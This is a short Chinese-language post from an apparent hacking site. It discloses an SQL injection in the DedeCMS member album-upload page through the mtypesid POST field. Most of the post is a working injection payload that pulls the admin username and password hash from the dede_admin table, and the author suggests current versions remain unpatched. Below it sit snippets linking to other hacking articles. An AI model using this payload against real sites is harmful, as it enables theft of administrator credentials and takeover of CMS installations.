Dedecms某一处insert型注入

hacker4年前 (2020-05-31)黑客文章672

Dedecms一处注入，较鸡肋，之前变量覆盖的漏洞太轰动了，所以一直没发出，之前5月份最新版本测试的，目前最新版本应该是没修复的
漏洞需要会员，所以比较鸡肋啦!
发表文章处，post表单的mtypesid可以注入

/dedecmsnew/member/album_add.php

注入的代码：

mtypesid=1'),("'",'0','1367930810','p','0','2','-1','0','0',(SELECT concat(userid,0x5f,pwd,0x5f) FROM dede_admin where userid='admin'),'',

'','12333','','','1367930810','1367930810','4','image','test','3')#@`'`'

标签: 黑客技术

返回列表

这是3389远程桌面的连接界面，当我们连接到服务器准备数据密码登录的时候，提示：你已经被拒绝登录到终端服务器。【解决方案】：本地登录服务器，进入...

从事SEO的朋友应该对黑帽这个词并不陌生，有的甚至嗤之以鼻，有的避而远之，包括小马前段时间写的《一个菜鸟SEOer对白帽和黑帽SEO的理性思考》，也倡导大家要做白帽SEO，总之各有见解，难道黑帽S...

什么叫Etherape？ Etherape是以太网接口仿真模拟的图型网络监视器。它具备以图型方法显示信息互联网主题活动的IP，TCP和链路层方式。连接和服务器的尺寸随总流量而转变。它还具备颜色编码协...

今日给大伙儿说的是某十四岁中学生，根据qq群通过自学网站渗透一个月，秒破网咖计费系统，这名网络黑客根据网络硬盘免费下载进攻破解软件，不上一分钟時间，在十四岁的小果子（笔名...

NTBScan这一黑客工具从cmd运作，以扫描仪当地或远程控制TCP / IP网络上的对外开放NETBIOS名字网络服务器。NBTS能够根据称之为nbtstat的规范Windows专用工具的作用和解...

在本文开始之前，我想指出我不是专家。据我所知，在这个庞大的区域,没有一个“神奇”的答案.分享，共享（我的出发点）。下面是一个混合的命令做同样的事情，在不同的地方，或只是一个不同的眼光来看待事物。我...

找黑客平台